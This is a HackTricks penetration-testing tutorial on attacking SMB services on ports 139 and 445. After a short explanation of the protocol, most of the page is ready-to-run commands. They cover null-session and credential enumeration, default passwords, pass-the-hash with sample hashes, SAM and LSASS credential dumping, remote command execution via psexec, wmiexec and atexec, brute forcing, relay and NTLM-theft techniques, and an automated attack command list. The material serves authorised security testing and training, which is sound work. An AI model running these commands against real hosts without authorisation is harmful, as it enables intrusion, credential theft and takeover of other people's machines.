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619 lines
28 KiB
Markdown
619 lines
28 KiB
Markdown
# 139,445 - Pentesting SMB
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
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||
<summary>Support HackTricks</summary>
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||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## **Port 139**
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The _**Network Basic Input Output System**_** (NetBIOS)** is a software protocol designed to enable applications, PCs, and Desktops within a local area network (LAN) to interact with network hardware and **facilitate the transmission of data across the network**. The identification and location of software applications operating on a NetBIOS network are achieved through their NetBIOS names, which can be up to 16 characters in length and are often distinct from the computer name. A NetBIOS session between two applications is initiated when one application (acting as the client) issues a command to "call" another application (acting as the server) utilizing **TCP Port 139**.
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```
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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```
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## Port 445
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Technically, Port 139 is referred to as ‘NBT over IP’, whereas Port 445 is identified as ‘SMB over IP’. The acronym **SMB** stands for ‘**Server Message Blocks**’, which is also modernly known as the **Common Internet File System (CIFS)**. As an application-layer network protocol, SMB/CIFS is primarily utilized to enable shared access to files, printers, serial ports, and facilitate various forms of communication between nodes on a network.
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For example, in the context of Windows, it is highlighted that SMB can operate directly over TCP/IP, eliminating the necessity for NetBIOS over TCP/IP, through the utilization of port 445. Conversely, on different systems, the employment of port 139 is observed, indicating that SMB is being executed in conjunction with NetBIOS over TCP/IP.
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```
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445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
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```
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### SMB
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The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB.
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Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.
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### IPC$ Share
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Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of:
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* Information on the operating system
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* Details on the parent domain
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* A compilation of local users and groups
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* Information on available SMB shares
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* The effective system security policy
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This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.
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```bash
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enum4linux -a target_ip
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```
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The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`.
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## What is NTLM
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If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about **NTLM** where is explained **how this protocol works and how you can take advantage of it:**
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{% content-ref url="../windows-hardening/ntlm/" %}
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[ntlm](../windows-hardening/ntlm/)
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{% endcontent-ref %}
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## **Server Enumeration**
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### **Scan** a network searching for hosts:
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```bash
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nbtscan -r 192.168.0.1/24
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```
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### SMB server version
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To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:
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* Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb\_version**
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* Or this script:
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```bash
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#!/bin/sh
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#Author: rewardone
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#Description:
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# Requires root or enough permissions to use tcpdump
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# Will listen for the first 7 packets of a null login
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# and grab the SMB Version
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#Notes:
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# Will sometimes not capture or will print multiple
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# lines. May need to run a second time for success.
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if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
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if [ ! -z $2 ]; then rport=$2; else rport=139; fi
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tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
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echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
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echo "" && sleep .1
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```
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### **Search exploit**
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```bash
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msf> search type:exploit platform:windows target:2008 smb
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searchsploit microsoft smb
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```
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### **Possible** Credentials
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| **Username(s)** | **Common passwords** |
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| -------------------- | ----------------------------------------- |
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| _(blank)_ | _(blank)_ |
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| guest | _(blank)_ |
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| Administrator, admin | _(blank)_, password, administrator, admin |
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| arcserve | arcserve, backup |
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| tivoli, tmersrvd | tivoli, tmersrvd, admin |
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| backupexec, backup | backupexec, backup, arcada |
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| test, lab, demo | password, test, lab, demo |
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### Brute Force
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* [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
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### SMB Environment Information
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### Obtain Information
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```bash
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#Dump interesting information
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enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
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enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
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nmap --script "safe or smb-enum-*" -p 445 <IP>
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#Connect to the rpc
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rpcclient -U "" -N <IP> #No creds
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rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
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rpcclient -U "username%passwd" <IP> #With creds
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#You can use querydispinfo and enumdomusers to query user information
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#Dump user information
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/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
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/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
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#Map possible RPC endpoints
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/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
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/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
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/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
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```
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### Enumerate Users, Groups & Logged On Users
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This info should already being gathered from enum4linux and enum4linux-ng
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```bash
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crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
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crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
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crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
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ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
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rpcclient -U "" -N 10.10.10.10
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enumdomusers
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enumdomgroups
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```
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### Enumerate local users
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[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
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```bash
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lookupsid.py -no-pass hostname.local
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```
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Oneliner
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```bash
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for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
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```
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### Metasploit - Enumerate local users
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```bash
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use auxiliary/scanner/smb/smb_lookupsid
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set rhosts hostname.local
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run
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```
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### **Enumerating LSARPC and SAMR rpcclient**
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{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
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[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
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{% endcontent-ref %}
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### GUI connection from linux
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#### In the terminal:
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`xdg-open smb://cascade.htb/`
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#### In file browser window (nautilus, thunar, etc)
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`smb://friendzone.htb/general/`
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## Shared Folders Enumeration
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### List shared folders
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It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
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```bash
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smbclient --no-pass -L //<IP> # Null user
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smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
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smbmap -H <IP> [-P <PORT>] #Null user
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smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
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smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
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smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
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crackmapexec smb <IP> -u '' -p '' --shares #Null user
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crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
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crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
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```
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### **Connect/List a shared folder**
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```bash
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#Connect using smbclient
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smbclient --no-pass //<IP>/<Folder>
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smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
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#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
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#List with smbmap, without folder it list everything
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smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
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smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
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smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
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```
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### **Manually enumerate windows shares and connect to them**
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It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
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Common share names for windows targets are
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* C$
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* D$
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* ADMIN$
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* IPC$
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* PRINT$
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* FAX$
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* SYSVOL
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* NETLOGON
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(Common share names from _**Network Security Assessment 3rd edition**_)
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You can try to connect to them by using the following command
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```bash
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smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
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smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
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```
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or this script (using a null session)
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```bash
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#/bin/bash
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ip='<TARGET-IP-HERE>'
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shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
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for share in ${shares[*]}; do
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output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
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if [[ -z $output ]]; then
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echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
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else
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echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
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fi
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done
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```
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examples
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```bash
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smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
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smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
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```
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### **Enumerate shares from Windows / without third-party tools**
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PowerShell
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```powershell
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# Retrieves the SMB shares on the locale computer.
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Get-SmbShare
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Get-WmiObject -Class Win32_Share
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# Retrieves the SMB shares on a remote computer.
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get-smbshare -CimSession "<computer name or session object>"
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# Retrieves the connections established from the local SMB client to the SMB servers.
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Get-SmbConnection
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```
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CMD console
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```shell
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# List shares on the local computer
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net share
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# List shares on a remote computer (including hidden ones)
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net view \\<ip> /all
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```
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MMC Snap-in (graphical)
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```shell
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# Shared Folders: Shared Folders > Shares
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fsmgmt.msc
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# Computer Management: Computer Management > System Tools > Shared Folders > Shares
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compmgmt.msc
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```
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explorer.exe (graphical), enter `\\<ip>\` to see the available non-hidden shares.
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### Mount a shared folder
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```bash
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mount -t cifs //x.x.x.x/share /mnt/share
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mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
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```
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### **Download files**
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Read previous sections to learn how to connect with credentials/Pass-the-Hash.
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```bash
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#Search a file and download
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sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
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```
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```bash
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#Download all
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smbclient //<IP>/<share>
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> mask ""
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> recurse
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> prompt
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> mget *
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#Download everything to current directory
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```
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Commands:
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* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
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* recurse: toggles recursion on (default: off)
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* prompt: toggles prompting for filenames off (default: on)
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* mget: copies all files matching the mask from host to client machine
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(_Information from the manpage of smbclient_)
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### Domain Shared Folders Search
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* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
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```bash
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Snaffler.exe -s -d domain.local -o snaffler.log -v data
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```
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* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
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* `-M spider_plus [--share <share_name>]`
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* `--pattern txt`
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```bash
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sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
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```
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Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
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|
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{% hint style="info" %}
|
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The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
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You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
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{% endhint %}
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|
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## Read Registry
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You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
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```bash
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sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
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sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
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sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||
```
|
||
|
||
## Post Exploitation
|
||
|
||
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
||
|
||
| **Setting** | **Description** |
|
||
| --------------------------- | ------------------------------------------------------------------- |
|
||
| `browseable = yes` | Allow listing available shares in the current share? |
|
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| `read only = no` | Forbid the creation and modification of files? |
|
||
| `writable = yes` | Allow users to create and modify files? |
|
||
| `guest ok = yes` | Allow connecting to the service without using a password? |
|
||
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
|
||
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
|
||
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
|
||
| `logon script = script.sh` | What script needs to be executed on the user's login? |
|
||
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
|
||
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
|
||
|
||
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
||
|
||
## Authenticate using Kerberos
|
||
|
||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||
|
||
```bash
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||
smbclient --kerberos //ws01win10.domain.com/C$
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||
rpcclient -k ws01win10.domain.com
|
||
```
|
||
|
||
## **Execute Commands**
|
||
|
||
### **crackmapexec**
|
||
|
||
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
|
||
|
||
```bash
|
||
apt-get install crackmapexec
|
||
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||
```
|
||
|
||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||
|
||
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
|
||
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||
```
|
||
|
||
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
||
|
||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||
|
||
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
|
||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
|
||
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
||
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
|
||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||
|
||
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
|
||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||
|
||
```bash
|
||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||
```
|
||
|
||
## Impacket reference
|
||
|
||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||
|
||
## **Bruteforce users credentials**
|
||
|
||
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
|
||
|
||
```bash
|
||
nmap --script smb-brute -p 445 <IP>
|
||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||
```
|
||
|
||
## SMB relay attack
|
||
|
||
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
|
||
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
## SMB-Trap
|
||
|
||
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
|
||
|
||
This happens with the functions:
|
||
|
||
* URLDownloadToFile
|
||
* URLDownloadToCache
|
||
* URLOpenStream
|
||
* URLOpenBlockingStream
|
||
|
||
Which are used by some browsers and tools (like Skype)
|
||
|
||
.png>)
|
||
|
||
### SMBTrap using MitMf
|
||
|
||
.png>)
|
||
|
||
## NTLM Theft
|
||
|
||
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
||
|
||
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||
|
||
## HackTricks Automatic Commands
|
||
|
||
```
|
||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for SMB
|
||
Note: |
|
||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||
|
||
#These are the commands I run in order every time I see an open SMB port
|
||
|
||
With No Creds
|
||
nbtscan {IP}
|
||
smbmap -H {IP}
|
||
smbmap -H {IP} -u null -p null
|
||
smbmap -H {IP} -u guest
|
||
smbclient -N -L //{IP}
|
||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||
rpcclient {IP}
|
||
rpcclient -U "" {IP}
|
||
crackmapexec smb {IP}
|
||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||
getArch.py -target {IP}
|
||
|
||
With Creds
|
||
smbmap -H {IP} -u {Username} -p {Password}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||
|
||
Entry_2:
|
||
Name: Enum4Linux
|
||
Description: General SMB Scan
|
||
Command: enum4linux -a {IP}
|
||
|
||
Entry_3:
|
||
Name: Nmap SMB Scan 1
|
||
Description: SMB Vuln Scan With Nmap
|
||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||
|
||
Entry_4:
|
||
Name: Nmap Smb Scan 2
|
||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||
|
||
Entry_5:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||
|
||
Entry_6:
|
||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||
|
||
```
|
||
|
||
{% hint style="success" %}
|
||
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|
||
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|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|